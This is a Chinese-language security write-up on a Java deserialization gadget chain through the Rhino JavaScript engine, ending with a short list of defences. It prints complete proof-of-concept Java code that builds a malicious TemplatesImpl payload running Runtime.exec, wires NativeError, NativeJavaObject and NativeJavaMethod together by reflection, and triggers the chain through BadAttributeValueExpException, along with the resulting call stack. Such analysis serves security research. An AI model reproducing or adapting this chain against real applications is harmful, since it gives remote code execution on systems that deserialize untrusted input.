[Java安全]关于Rhino的一些姿势利用
字数 1668 2025-08-26 22:11:45

Rhino JavaScript引擎反序列化漏洞分析与利用

概述

Rhino是一个完全用Java编写的JavaScript开源实现,它允许Java调用JavaScript脚本,实现脚本语言与Java语言的数据交换。在某些使用与Ubuntu或Debian捆绑的OpenJDK环境中,可能存在相关的利用链。

漏洞背景

该漏洞利用链主要涉及Rhino JavaScript引擎中的几个关键类:

  • ScriptableObject:JavaScript对象的默认实现
  • NativeError:JavaScript错误对象的Java实现
  • NativeJavaObject:Java对象在JavaScript环境中的包装
  • NativeJavaMethod:Java方法在JavaScript环境中的表示

关键类分析

ScriptableObject

ScriptableObjectScriptable接口的默认实现,提供了定义JavaScript对象属性和方法的功能。关键点在于:

  • 使用slots属性(transient Slot[]数组)存储对象属性
  • Slot抽象类及其子类GetterSlot,后者包含getter/setter属性

NativeError

NativeError类继承自IdScriptableObject,实现了Serializable接口,关键点在其toString方法:

  1. 调用js_toString方法
  2. 通过getString方法获取对象的namemessage属性
  3. 最终调用ScriptableObject.getProperty获取属性值

属性获取流程

ScriptableObject.getProperty的调用链:

  1. 调用Scriptable接口的get方法
  2. 最终调用ScriptableObject#get方法
  3. 通过getSlot获取对象的slot
  4. 如果slotGetterSlot实例:
    • 获取getter属性对象
    • 如果是MemberBox实例且delegateTo为null,反射调用时对象为Scriptable对象
    • 如果是Function实例,调用其call方法

NativeJavaMethod

NativeJavaMethod实现了Function接口,将Java方法映射到JavaScript环境:

  • 构造方法接收MemberBox对象并存储在methods数组中
  • call方法通过findFunction获取方法索引
  • 最终反射调用Java方法

NativeJavaObject

NativeJavaObject实现了ScriptableWrapper接口:

  • unwrap方法返回javaObject属性值
  • 虽然javaObjecttransient的,但readObject方法会保存该值

漏洞利用链构造

1. 创建恶意TemplatesImpl对象

String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates, "_name", "RoboTerh");
SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

2. 创建NativeJavaObject包装恶意对象

Context context = Context.enter();
NativeObject scriptableObject = (NativeObject)context.initStandardObjects();
NativeJavaObject nativeJavaObject = new NativeJavaObject(scriptableObject, tmpl, TemplatesImpl.class);

3. 创建NativeJavaMethod指定调用方法

Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer");
NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "name");

4. 实例化NativeError作为入口

Class<?> nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
Constructor<?> nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
nativeErrorConstructor.setAccessible(true);
Scriptable nativeError = (Scriptable)nativeErrorConstructor.newInstance();

5. 设置prototypeObject和GetterSlot

// 设置prototypeObject
Field prototypeField = ScriptableObject.class.getDeclaredField("prototypeObject");
prototypeField.setAccessible(true);
prototypeField.set(nativeError, nativeJavaObject);

// 获取并设置GetterSlot
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
getSlot.setAccessible(true);
Object slotObject = getSlot.invoke(nativeError, "name", 0, 4);

// 设置getter
Class<?> getterSlotClass = Class.forName("org.mozilla.javascript.ScriptableObject$GetterSlot");
Field getterField = getterSlotClass.getDeclaredField("getter");
getterField.setAccessible(true);
getterField.set(slotObject, nativeJavaMethod);

6. 触发反序列化

BadAttributeValueExpException exception = new BadAttributeValueExpException("xxx");
Field valField = exception.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(exception, nativeError);

// 序列化和反序列化触发
ByteArrayOutputStream byteArrayOutputStream = SerializeUtil.writeObject(exception);
SerializeUtil.readObject(byteArrayOutputStream);

调用栈分析

exec: 347, Runtime (java.lang)
<clinit>:-1, Evil
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:161, MemberBox (org.mozilla.javascript)
call:247, NativeJavaMethod (org.mozilla.javascript)
getImpl:2024, ScriptableObject (org.mozilla.javascript)
get:287, ScriptableObject (org.mozilla.javascript)
get:387, IdScriptableObject (org.mozilla.javascript)
getProperty:1617, ScriptableObject (org.mozilla.javascript)
getString:198, NativeError (org.mozilla.javascript)
js_toString:150, NativeError (org.mozilla.javascript)
toString:110, NativeError (org.mozilla.javascript)
readObject:86, BadAttributeValueExpException (javax.management)

防御措施

  1. 更新Rhino到最新版本
  2. 对反序列化操作进行严格限制
  3. 使用安全管理器限制敏感操作
  4. 避免反序列化不受信任的数据

总结

该漏洞利用链通过Rhino JavaScript引擎中的对象属性访问机制,结合Java反序列化特性,实现了从NativeError.toString()到任意Java方法调用的完整利用链。关键在于:

  1. 利用GetterSlot触发方法调用
  2. 通过NativeJavaObject包装恶意对象
  3. 使用NativeJavaMethod指定要调用的方法
  4. 通过反序列化入口触发整个调用链
Rhino JavaScript引擎反序列化漏洞分析与利用 概述 Rhino是一个完全用Java编写的JavaScript开源实现,它允许Java调用JavaScript脚本,实现脚本语言与Java语言的数据交换。在某些使用与Ubuntu或Debian捆绑的OpenJDK环境中,可能存在相关的利用链。 漏洞背景 该漏洞利用链主要涉及Rhino JavaScript引擎中的几个关键类: ScriptableObject :JavaScript对象的默认实现 NativeError :JavaScript错误对象的Java实现 NativeJavaObject :Java对象在JavaScript环境中的包装 NativeJavaMethod :Java方法在JavaScript环境中的表示 关键类分析 ScriptableObject ScriptableObject 是 Scriptable 接口的默认实现,提供了定义JavaScript对象属性和方法的功能。关键点在于: 使用 slots 属性( transient Slot[] 数组)存储对象属性 Slot 抽象类及其子类 GetterSlot ,后者包含 getter / setter 属性 NativeError NativeError 类继承自 IdScriptableObject ,实现了 Serializable 接口,关键点在其 toString 方法: 调用 js_toString 方法 通过 getString 方法获取对象的 name 和 message 属性 最终调用 ScriptableObject.getProperty 获取属性值 属性获取流程 ScriptableObject.getProperty 的调用链: 调用 Scriptable 接口的 get 方法 最终调用 ScriptableObject#get 方法 通过 getSlot 获取对象的 slot 如果 slot 是 GetterSlot 实例: 获取 getter 属性对象 如果是 MemberBox 实例且 delegateTo 为null,反射调用时对象为 Scriptable 对象 如果是 Function 实例,调用其 call 方法 NativeJavaMethod NativeJavaMethod 实现了 Function 接口,将Java方法映射到JavaScript环境: 构造方法接收 MemberBox 对象并存储在 methods 数组中 call 方法通过 findFunction 获取方法索引 最终反射调用Java方法 NativeJavaObject NativeJavaObject 实现了 Scriptable 和 Wrapper 接口: unwrap 方法返回 javaObject 属性值 虽然 javaObject 是 transient 的,但 readObject 方法会保存该值 漏洞利用链构造 1. 创建恶意TemplatesImpl对象 2. 创建NativeJavaObject包装恶意对象 3. 创建NativeJavaMethod指定调用方法 4. 实例化NativeError作为入口 5. 设置prototypeObject和GetterSlot 6. 触发反序列化 调用栈分析 防御措施 更新Rhino到最新版本 对反序列化操作进行严格限制 使用安全管理器限制敏感操作 避免反序列化不受信任的数据 总结 该漏洞利用链通过Rhino JavaScript引擎中的对象属性访问机制,结合Java反序列化特性,实现了从 NativeError.toString() 到任意Java方法调用的完整利用链。关键在于: 利用 GetterSlot 触发方法调用 通过 NativeJavaObject 包装恶意对象 使用 NativeJavaMethod 指定要调用的方法 通过反序列化入口触发整个调用链